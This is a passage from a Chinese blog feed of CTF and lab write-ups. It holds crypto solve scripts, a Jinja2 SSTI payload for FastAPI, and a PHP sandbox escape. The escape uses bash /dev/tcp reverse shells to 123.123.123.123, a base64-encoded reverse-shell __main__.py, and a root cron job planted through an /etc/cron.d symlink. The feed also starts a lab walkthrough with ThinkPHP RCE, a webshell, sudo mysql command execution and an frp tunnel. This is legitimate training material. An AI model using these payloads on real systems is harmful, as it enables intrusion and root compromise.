0xF7, 0xCF, 0xA1, 0x70, 0x10, 0x40, 0xBD, 0x2D, 0x2C, </span><br><span class="line"> 0x8F, 0x72, 0x1A, 0x37, 0xE3, 0x10, 0xA8, 0x46, 0x05, 0x84, </span><br><span class="line"> 0x5E, 0x72, 0x02, 0xDB, 0x02, 0x1B, 0x23, 0x46, 0xA1, 0xBB, </span><br><span class="line"> 0x92, 0x0A, 0xE8, 0x0D, 0xD0, 0x06, 0x6F, 0x05, 0xA0, 0x52, </span><br><span class="line"> 0x4B, 0xC8, 0x03, 0x39, 0xED, 0x99, 0x32, 0x54, 0x28, 0x83, </span><br><span class="line"> 0x47, 0x3F, 0xEF, 0xCA, 0x18, 0xC1, 0xC8, 0xB8, 0xC9, 0xB0, </span><br><span class="line"> 0xE3, 0x1B, 0x71, 0x69, 0xBA, 0xC1, 0xF1, 0xB9, 0x69, 0x7B, </span><br><span class="line"> 0x27, 0x99, 0xBD, 0xB8, 0x69, 0x00, 0x6C, 0x16, 0xC4, 0x9B, </span><br><span class="line"> 0x77, 0x52, 0x5A, 0xB7, 0x54, 0x6F, 0xE3, 0x34, 0x5E, 0x5F, </span><br><span class="line"> 0x01, 0xA5, 0xE2, 0x48, 0xFB, 0x96, 0x6B, 0x75, 0x92, 0xD2, </span><br><span class="line"> 0xA0, 0xDA, 0x0B, 0xED, 0x3E, 0x27, 0xF6, 0xC7, 0x89, 0x64, </span><br><span class="line"> 0x7F, 0xDE, 0x73, 0xF5, 0x92, 0x58, 0xFF, 0xC6, 0xA6, 0x38, </span><br><span class="line"> 0x75, 0x86, 0x61, 0x12, 0x6F, 0xC0, 0x3D, 0x24, 0x22, 0x6D, </span><br><span class="line"> 0xA7, 0x29, 0x5E, 0xBD, 0xF5, 0x0C, 0x52, 0xD9, 0x66, 0x31, </span><br><span class="line"> 0xB5, 0x80, 0x4D, 0x02, 0xCD, 0xF2, 0xDC, 0x89, 0xFA, 0x60, </span><br><span class="line"> 0x63, 0xCA, 0x2D, 0x00, 0x95, 0x32, 0x00, 0xBE, 0xD4, 0xBF, </span><br><span class="line"> 0x73, 0x4C, 0xED, 0xBA, 0x0C, 0x56, 0xA1, 0x85, 0xC4, 0x6C, </span><br><span class="line"> 0xB6, 0x0A, 0xBC, 0xDD, 0x8C, 0x61, 0x1E, 0x42, 0x03, 0xB4, </span><br><span class="line"> 0xE0, 0xF2, 0x17, 0xFA, 0x14, 0x38, 0x9F, 0xB1, 0xA4, 0x9C, </span><br><span class="line"> 0x03, 0x18, 0x0C, 0xC6, 0x16, 0xC7, 0x30, 0xFA, 0x48, 0xB1, </span><br><span class="line"> 0xB9, 0x6E, 0xB1, 0x7D, 0x7B, 0x3B, 0xDF, 0xD9, 0xB6, 0xA7, </span><br><span class="line"> 0xD6, 0x46, 0xA5, 0x7C, 0x97, 0x6D, 0xD5, 0x92, 0xA3, 0xF0, </span><br><span class="line"> 0x22, 0xA1, 0x53, 0x99, 0xA1, 0xC3, 0x71, 0x40, 0xE1, 0x89, </span><br><span class="line"> 0x7B, 0x23, 0x19, 0x18, 0xDC, 0x2F, 0x22, 0x57, 0xDD, 0x2C, </span><br><span class="line"> 0xC3, 0x3F, 0xAD, 0xEF, 0x99, 0x93, 0x9C, 0xE9, 0xEB, 0x67, </span><br><span class="line"> 0x66, 0x74, 0x45, 0x8E, 0xD4, 0x87, 0x98, 0x4E, 0x9F, 0x8D, </span><br><span class="line"> 0x2C, 0x7D, 0xF2, 0x3D, 0x80, 0x93, 0x94, 0x0F, 0xEA, 0xB5, </span><br><span class="line"> 0x86, 0xD0, 0xE6, 0x74, 0xB6, 0xB2, 0x41, 0x61, 0x25, 0xDE, </span><br><span class="line"> 0xD9, 0xC2, 0x38, 0x6A, 0x24, 0x7F, 0x1D, 0x87, 0xBA, 0xD1, </span><br><span class="line"> 0xCA, 0xB6, 0x40, 0x57, 0x9E, 0xAE, 0x30, 0x50, 0xFF, 0xD0, </span><br><span class="line"> 0xA8, 0xAE, 0xDF, 0x52, 0x25, 0x4A, 0xA5, 0xE9, 0x18, 0x6F, </span><br><span class="line"> 0x06, 0x0C, 0x97, 0x15, 0x0E, 0xC2, 0x66, 0x26, 0xCC, 0x84, </span><br><span class="line"> 0x51, 0xC4, 0x75, 0x69, 0x76, 0x4B, 0x28, 0x16, 0x67, 0xA5, </span><br><span class="line"> 0x44, 0x28, 0xE0, 0x96, 0xA2, 0x0A, 0x5D, 0x81, 0xEB, 0x4D] </span><br><span class="line"> for i in range(0,len(enc),32): </span><br><span class="line"> print(dic[bytes(enc[i:i+32])],end="") </span><br><span class="line"> print() </span><br><span class="line"> flag='''-48-79-80-bf0bd17719429f37-39a4-748f4a37-472977279380b8a}8fb93794a9a49f8a-8a39a4-ag{b-bbd1bfed17ea-f8afb-feaflag{1lag{19''' </span><br><span class="line"> flags=[flag[i:i+3] for i in range(0,len(flag),3)] </span><br><span class="line"> </span><br><span class="line"> def crack(flag, level): </span><br><span class="line"> get = flag[-2:] </span><br><span class="line"> if flag.endswith("}"): </span><br><span class="line"> print(flag) </span><br><span class="line"> exit() </span><br><span class="line"> for i in flags: </span><br><span class="line"> if i.startswith(get): </span><br><span class="line"> flag += i[-1] </span><br><span class="line"> crack(flag, level + 1) </span><br><span class="line"> </span><br><span class="line"> crack("fla", 0)</span><br></pre></td></tr></table></figure><p>最终flag：</p><p>flag{194a39a4-7937-48fb-bfea-80bd17729f8a}</p><h4 id="Crypto-backdoorplus"><a class="headerlink" href="#Crypto-backdoorplus"></a>[Crypto]backdoorplus</h4><blockquote><p>solved by k1sme4</p></blockquote><p>推导如下：</p><ul><li><p>曲线E已知，生成元G已知</p></li><li><p>由横坐标sig_r得到点p_1=kG</p></li><li><p>z=(k_1-w*t)<em>G+(-a</em>k_1-b)*Y</p></li><li><p>其中t=1,k_1=k,Y=X*G</p></li><li><p>可得z=k_1G-w<em>t</em>G-a<em>k_1</em>Y-b<em>Y=p_1-w</em>t<em>G-a</em>X<em>p_1-b</em>Y</p></li><li><p>其中w,t,a,X,b已知</p></li><li><p>求出z取横坐标为k_2,然后求出p,q解RSA即可</p></li><li><p>实际flag比模数大，爆破倍数即可</p></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> * </span><br><span class="line"> <span class="keyword">import</span> hashlib </span><br><span class="line"> <span class="keyword">import</span> gmpy2 </span><br><span class="line"> </span><br><span class="line"> <span class="comment"># n = generator_192.order() </span></span><br><span class="line"> n = <span class="number">6277101735386680763835789423176059013767194773182842284081</span> </span><br><span class="line"> </span><br><span class="line"> <span class="comment"># print(generator_192.curve()) </span></span><br><span class="line"> p = <span class="number">6277101735386680763835789423207666416083908700390324961279</span> </span><br><span class="line"> a = -<span class="number">3</span> </span><br><span class="line"> b = <span class="number">2455155546008943817740293915197451784769108058161191238065</span> </span><br><span class="line"> </span><br><span class="line"> sig_r = <span class="number">6052579169727414254054653383715281797417510994285530927615</span> </span><br><span class="line"> malicious_sig_r = <span class="number">3839784391338849056467977882403235863760503590134852141664</span> </span><br><span class="line"> E = EllipticCurve(GF(p), [a, b]) </span><br><span class="line"> p1 = E.lift_x(ZZ(sig_r)) </span><br><span class="line"> </span><br><span class="line"> <span class="comment"># G = E(generator_192.x(), generator_192.y()) </span></span><br><span class="line"> G = E([<span class="number">602046282375688656758213480587526111916698976636884684818</span>, </span><br><span class="line"> <span class="number">174050332293622031404857552280219410364023488927386650641</span>]) </span><br><span class="line"> </span><br><span class="line"> a, b, w, X = <span class="number">751818</span>, <span class="number">1155982</span>, <span class="number">908970521</span>, <span class="number">20391992</span> </span><br><span class="line"> Y = X * G </span><br><span class="line"> t = <span class="number">1</span> </span><br><span class="line"> z = p1 - w * t * G -a*X*p1 - b * Y </span><br><span class="line"> zx = <span class="built_in">int</span>(z.xy()[<span class="number">0</span>]) </span><br><span class="line"> k2 = <span class="built_in">int</span>(hashlib.sha1(<span class="built_in">str</span>(zx).encode()).hexdigest(), <span class="number">16</span>) </span><br><span class="line"> <span class="built_in">print</span>(k2) </span><br><span class="line"> <span class="built_in">print</span>(<span class="built_in">int</span>((k2*G)[<span class="number">0</span>])==malicious_sig_r) </span><br><span class="line"> </span><br><span class="line"> p = k2 </span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">99</span>): </span><br><span class="line"> p = gmpy2.next_prime(p) </span><br><span class="line"> q = gmpy2.next_prime(p) </span><br><span class="line"> e = <span class="number">65537</span> </span><br><span class="line"> phi=(p-<span class="number">1</span>)*(q-<span class="number">1</span>) </span><br><span class="line"> d=inverse(e,phi) </span><br><span class="line"> c=<span class="number">1294716523385880392710224476578009870292343123062352402869702505110652244504101007338338248714943</span> </span><br><span class="line"> flag=long_to_bytes(<span class="built_in">pow</span>(c,d,p*q)) </span><br><span class="line"> <span class="built_in">print</span>(flag) </span><br><span class="line"> N=p*q </span><br><span class="line"> m=<span class="built_in">int</span>(<span class="built_in">pow</span>(c,d,N)) </span><br><span class="line"> k=<span class="number">0</span> </span><br><span class="line"> <span class="keyword">while</span> <span class="literal">True</span>: </span><br><span class="line"> flag=long_to_bytes(m+k*N) </span><br><span class="line"> <span class="keyword">if</span> <span class="string">b'flag'</span> <span class="keyword">in</span> flag: </span><br><span class="line"> <span class="built_in">print</span>(flag) </span><br><span class="line"> <span class="keyword">break</span> </span><br><span class="line"> k+=<span class="number">1</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>最终flag：</p><p>flag{0c75afae-f8ad-4df1-b2d9-a9ca348cb226}</p><h4 id="Web-EncirclingGame"><a class="headerlink" href="#Web-EncirclingGame"></a>[Web]EncirclingGame</h4><blockquote><p>solved by fault</p></blockquote><p>签到题，玩游戏就行，随便点点给flag： <img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/Pasted%20image%2020240817184909.png" alt="Pasted image 20240817184909.png" loading="lazy"><br>最终flag：</p><p>flag{be0900a9-ae5b-4287-b3c3-258ea0904b3e}</p><h4 id="Web-GoldenHornKing"><a class="headerlink" href="#Web-GoldenHornKing"></a>[Web]GoldenHornKing</h4><blockquote><p>solved by fault</p></blockquote><p>审计源码发现就是jinjia2的ssti,经过测试后发现正确会回显fight，结合python环境下只能想到ssti打内存马或者反弹shell了，尝试反弹shell后发现弹不出来？可能是不出网？直接注册路由，但是发现是fastapi，于是去搜了fastapi注册路由，找到了add_api_route，之后持续拷打gpt得到了可以这样注册: <img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/Pasted%20image%2020240817185030.png" alt="Pasted image 20240817185030.png" loading="lazy"><br>但是最开始的payload如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"> calc?calc_req=config.__class__.__init__.__globals__['__builtins__'].eval("app.add_api_route(\"/fault\", lambda:__import__('os').popen('cat /flag').read(), methods=[\"GET\"])")</span><br></pre></td></tr></table></figure><p>最后发现还是有问题，猜测可能是app这里不能直接用，于是又继续搜索 发现sys。modules里可以找到app，于是最后的payload如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">calc?calc_req=config.__class__.__init__.__globals__['__builtins__'].eval("__import__(\"sys\").modules['__main__'].__dict__['app'].add_api_route(\"/fault\", lambda:__import__('os').popen('cat /flag').read(), methods=[\"GET\"])")</span><br></pre></td></tr></table></figure><p>然后去访问fault路由，即可看到结果</p><h4 id="Web-php-online"><a class="headerlink" href="#Web-php-online"></a>[Web]php_online</h4><blockquote><p>solved by TenMap1e</p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask, request, session, redirect, url_for, render_template </span><br><span class="line"><span class="keyword">import</span> os </span><br><span class="line"><span class="keyword">import</span> secrets </span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line">app = Flask(__name__) </span><br><span class="line">app.secret_key = secrets.token_hex(<span class="number">16</span>) </span><br><span class="line">working_id = [] </span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/'</span>, methods=[<span class="string">'GET'</span>, <span class="string">'POST'</span>]</span>) </span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">index</span>(): </span><br><span class="line"> <span class="keyword">if</span> request.method == <span class="string">'POST'</span>: </span><br><span class="line"> <span class="built_in">id</span> = request.form[<span class="string">'id'</span>] </span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> <span class="built_in">id</span>.isalnum() <span class="keyword">or</span> <span class="built_in">len</span>(<span class="built_in">id</span>) != <span class="number">8</span>: </span><br><span class="line"> <span class="keyword">return</span> <span class="string">'无效的ID'</span> </span><br><span class="line"> session[<span class="string">'id'</span>] = <span class="built_in">id</span> </span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(<span class="string">f'/sandbox/<span class="subst">{<span class="built_in">id</span>}</span>'</span>): </span><br><span class="line"> os.popen(<span class="string">f'mkdir /sandbox/<span class="subst">{<span class="built_in">id</span>}</span> && chown www-data /sandbox/<span class="subst">{<span class="built_in">id</span>}</span> && chmod a+w /sandbox/<span class="subst">{<span class="built_in">id</span>}</span>'</span>).read() </span><br><span class="line"> <span class="keyword">return</span> redirect(url_for(<span class="string">'sandbox'</span>)) </span><br><span class="line"> <span class="keyword">return</span> render_template(<span class="string">'submit_id.html'</span>) </span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">'/sandbox'</span>, methods=[<span class="string">'GET'</span>, <span class="string">'POST'</span>]</span>) </span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sandbox</span>(): </span><br><span class="line"> <span class="keyword">if</span> request.method == <span class="string">'GET'</span>: </span><br><span class="line"> <span class="keyword">if</span> <span class="string">'id'</span> <span class="keyword">not</span> <span class="keyword">in</span> session: </span><br><span class="line"> <span class="keyword">return</span> redirect(url_for(<span class="string">'index'</span>)) </span><br><span class="line"> <span class="keyword">else</span>: </span><br><span class="line"> <span class="keyword">return</span> render_template(<span class="string">'submit_code.html'</span>) </span><br><span class="line"> <span class="keyword">if</span> request.method == <span class="string">'POST'</span>: </span><br><span class="line"> <span class="keyword">if</span> <span class="string">'id'</span> <span class="keyword">not</span> <span class="keyword">in</span> session: </span><br><span class="line"> <span class="keyword">return</span> <span class="string">'no id'</span> </span><br><span class="line"> user_id = session[<span class="string">'id'</span>] </span><br><span class="line"> <span class="keyword">if</span> user_id <span class="keyword">in</span> working_id: </span><br><span class="line"> <span class="keyword">return</span> <span class="string">'task is still running'</span> </span><br><span class="line"> <span class="keyword">else</span>: </span><br><span class="line"> working_id.append(user_id) </span><br><span class="line"> code = request.form.get(<span class="string">'code'</span>) </span><br><span class="line"> os.popen(<span class="string">f'cd /sandbox/<span class="subst">{user_id}</span> && rm *'</span>).read() </span><br><span class="line"> os.popen(<span class="string">f'sudo -u www-data cp /app/init.py /sandbox/<span class="subst">{user_id}</span>/init.py && cd /sandbox/<span class="subst">{user_id}</span> && sudo -u www-data python3 init.py'</span>).read() </span><br><span class="line"> os.popen(<span class="string">f'rm -rf /sandbox/<span class="subst">{user_id}</span>/phpcode'</span>).read() </span><br><span class="line"> </span><br><span class="line"> php_file = <span class="built_in">open</span>(<span class="string">f'/sandbox/<span class="subst">{user_id}</span>/phpcode'</span>, <span class="string">'w'</span>) </span><br><span class="line"> php_file.write(code) </span><br><span class="line"> php_file.close() </span><br><span class="line"> </span><br><span class="line"> result = os.popen(<span class="string">f'cd /sandbox/<span class="subst">{user_id}</span> && sudo -u nobody php phpcode'</span>).read() </span><br><span class="line"> os.popen(<span class="string">f'cd /sandbox/<span class="subst">{user_id}</span> && rm *'</span>).read() </span><br><span class="line"> working_id.remove(user_id) </span><br><span class="line"> </span><br><span class="line"> <span class="keyword">return</span> result </span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>: </span><br><span class="line"> app.run(debug=<span class="literal">False</span>, host=<span class="string">'0.0.0.0'</span>, port=<span class="number">80</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>审计源码<code>index.py</code>逻辑，发现可以输入一个8位字母数字<code>id</code>（这里随便用的是<code>11111111</code>）然后直接执行php代码：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span> <span class="title function_ invoke__">system</span>(<span class="string">"bash -c 'bash -i >& /dev/tcp/123.123.123.123/1234 0>&1'"</span>);<span class="meta">?></span></span><br></pre></td></tr></table></figure><p>反弹得到shell，权限为<code>nobody</code>，需要进行沙箱sandbox逃逸提权： <img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/image-20240817183458066.png" alt="image-20240817183458066.png" loading="lazy"><br>继续，意识到执行php代码前的预处理过程：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">os.popen(f'cd /sandbox/{user_id} && rm *').read() </span><br><span class="line">os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read()</span><br></pre></td></tr></table></figure><p>在<code>/sandbox/{user_id}</code>下进行<code>rm *</code>操作时并不能删除掉目录，所以我们这里可以先再输入一个<code>22222222</code>随意执行任意的php代码（直接执行空的就行这里就是）在<code>/sandbox</code>下创建出另一个<code>/sandbox/22222222</code>目录：<img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/image-20240817183826766.png" alt="image-20240817183826766.png" loading="lazy"><br><code>/sandbox</code>下的沙箱目录权限为777我们可以实施比较多的操作，于是我们这里可以在<code>/sandbox/22222222</code>下<code>mkdir</code>新建一个<code>init.py</code>目录：<img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/image-20240817230450955.png" alt="image-20240817230450955.png" loading="lazy"><br>而python在直接执行目录<code>python3 init.py</code>时需要其中有<code>__main__.py</code>作为<code>main module</code>模块，所以我们这里使用base64编码向<code>/sandbox/22222222/init.py</code>目录下写入一个<code>__main__.py</code>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">echo aW1wb3J0IG9zCm9zLnBvcGVuKCJiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEyMy4xMjMuMTIzLjEyMy80MzIxIDA+JjEnIikucmVhZCgp | base64 -d > init.py/__main__.py</span><br></pre></td></tr></table></figure><p>内容为：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">import os </span><br><span class="line">os.popen("bash -c 'bash -i >& /dev/tcp/123.123.123.123/4321 0>&1'").read()</span><br></pre></td></tr></table></figure><p>并且将整个<code>init.py</code>目录赋予<code>777</code>权限：<img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/image-20240817231635795.png" alt="image-20240817231635795.png" loading="lazy"><br>此时再输入<code>22222222</code>使用这个<code>id</code>执行php代码时经过：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">os.popen(f'cd /sandbox/{user_id} && rm *').read() </span><br><span class="line">os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read() </span><br><span class="line">os.popen(f'rm -rf /sandbox/{user_id}/phpcode').read()</span><br></pre></td></tr></table></figure><p>并不会删除或覆盖我们的<code>init.py</code>目录且会通过<code>sudo -u www-data python3 init.py</code>执行我们创建的这个目录及其下的<code>__main__.py</code>文件从而得到<code>www-data</code>用户权限的反弹shell： !<img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/image-20240817231757781.png" alt="image-20240817231757781.png" loading="lazy"><br>继续，有了<code>www-data</code>用户的shell后，我们的权限提升了一定程度，但还不够，不过幸运的是此时我们可以对<code>/sandbox</code>目录进行任意操作了（所有者为<code>www-data</code>，<code>nobody</code>用户无法操作但<code>www-data</code>用户可以随意操作）。而纵观整个代码，想要提升到<code>root</code>用户权限，其中能利用的无非两处操作：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">os.popen(f'cd /sandbox/{user_id} && rm *').read()</span><br><span class="line"></span><br><span class="line">和:</span><br><span class="line"></span><br><span class="line">php_file = open(f'/sandbox/{user_id}/phpcode', 'w') </span><br><span class="line">php_file.write(code) </span><br><span class="line">php_file.close()</span><br></pre></td></tr></table></figure><p>其中<code>root</code>用户执行了<code>rm *</code>删除目录下所有文件以及写<code>phpcode</code>文件的操作，而这里我经过良久的思考和钻研，突然意识到既然我们对<code>/sandbox</code>目录可控，那我不就可以使用<code>ln -s</code>命令创建一个名字符合8位字母数字<code>id</code>格式的软连接指向链到任意一个目录了吗？即此处我们对<code>{user_id}</code>可控，也就可以对任一目录执行<code>rm *</code>和写<code>phpcode</code>文件操作。而删除所有文件显然并没有什么利用的说法，那么唯一的攻击可能性就集中在了向任意目录写任意内容的<code>phpcode</code>文件上。显然，这种环境的这种写文件情况就只有一个利用思路：写定时任务。我们在<code>/sandbox</code>目录下执行：</p><p>ln -s /etc/cron.d 33333333</p><p>创建一个名为<code>33333333</code>指向<code>/etc/cron.d</code>目录的软连接： <img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/image-20240817232911246.png" alt="image-20240817232911246.png" loading="lazy"><br>然后再输入<code>33333333</code>使用这个<code>id</code>在写入<code>phpcode</code>文件作为定时任务的同时于注释中执行php代码：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">* * * * * root bash -c 'bash -i >& /dev/tcp/123.123.123.123/8888 0>&1' </span><br><span class="line">#<?php while(1){}?></span><br></pre></td></tr></table></figure><p>这里加一个死循环的php延时代码是为了在执行<code>phpcode</code>文件里的php代码过程中：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read() </span><br><span class="line">os.popen(f'cd /sandbox/{user_id} && rm *').read()</span><br></pre></td></tr></table></figure><p>导致阻塞延时卡死致使<code>phpcode</code>文件被留存下来于<code>/etc/cron.d</code>目录中而不是被执行完秒删从而触发每分钟的定时任务，此时<code>ls /etc/cron.d</code>即可找到这个<code>phpcode</code>文件： <img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/image-20240817233632229.png" alt="image-20240817233632229.png" loading="lazy"><br>随后等待一段时间即可接收到<code>root</code>用户的反弹shell，直接<code>cat /flag</code>即得flag： <img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/image-20240817233726229.png" alt="image-20240817233726229.png" loading="lazy"><br>最终flag：</p><p>flag{74c85d45-4693-4dab-90bd-65b96bb500fa}</p>]]></content>
<summary type="html"><h4 id="队伍情况"><a class="headerlink" href="#队伍情况"></a>队伍情况</h4>
<h5 id="队伍名称"><a class="headerlink" href="#队伍名称"></a>队伍名称</h5>
<p><strong>图书馆</summary>
<category term="比赛wp" scheme="http://fault123.github.io/tags/%E6%AF%94%E8%B5%9Bwp/"/>
</entry>
<entry>
<title>春秋云境-Initial</title>
<link href="http://fault123.github.io/2024/08/06/Initial/"/>
<id>http://fault123.github.io/2024/08/06/Initial/</id>
<published>2024-08-05T16:00:00.000Z</published>
<updated>2024-09-17T10:30:27.981Z</updated>
<content type="html"><![CDATA[<h2 id="flag01"><a class="headerlink" href="#flag01"></a>flag01</h2><p>访问靶机后有如下</p><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240129182851.png" alt="image.png" loading="lazy"></p><h3 id="信息搜集"><a class="headerlink" href="#信息搜集"></a>信息搜集</h3><p>title图标一眼顶针tp，fscan扫出来是tp5.23 rce漏洞<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/cf9c46dea116d1908ad7185111994eb.png" alt="cf9c46dea116d1908ad7185111994eb.png" loading="lazy"><br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240806164304.png" alt="image.png" loading="lazy"><br>写🐎然后蚁剑</p><h3 id="蚁剑"><a class="headerlink" href="#蚁剑"></a>蚁剑</h3><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240806164406.png" alt="image.png" loading="lazy"></p><h3 id="无密码执行mysql"><a class="headerlink" href="#无密码执行mysql"></a>无密码执行mysql</h3><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240129184535.png" alt="image.png" loading="lazy"><br>发现无密码执行mysql，利用这个执行命令<br>查找flag</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo mysql -e '\! find / -name flag*'</span><br></pre></td></tr></table></figure><p>然后直接cat flag</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo mysql -e '\! cat /root/flag/flag01.txt'</span><br></pre></td></tr></table></figure><p>拿到第一段flag</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag01: flag{60b53231-</span><br></pre></td></tr></table></figure><p>继续信息搜集</p><h2 id="flag02"><a class="headerlink" href="#flag02"></a>flag02</h2><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240129185340.png" alt="image.png" loading="lazy"><br>发现内网网段，直接fscan<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240129185600.png" alt="image.png" loading="lazy"></p><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20240129185611.png" alt="image.png" loading="lazy"><br>fscan之后发现信呼OA，尝试进行内网穿透</p><h3 id="frp搭建"><a class="headerlink" href="#frp搭建"></a>frp搭建</h3><p>frpc.ini</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">[common]</span><br><span class="line">server_addr = [服务器ip]</span><br><span class="line">server_port = 7000</span><br><span class="line"></span><br><span class="line">[socks5_to_2] </span><br><span class="line">type = tcp</span><br><span class="line">remote_port = 10088</span><br><span class="line">plugin = socks5</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>在客户机启动</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./frpc -c frpc.ini</span><br></pre></td></tr></table></figure><p>frps.ini</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span 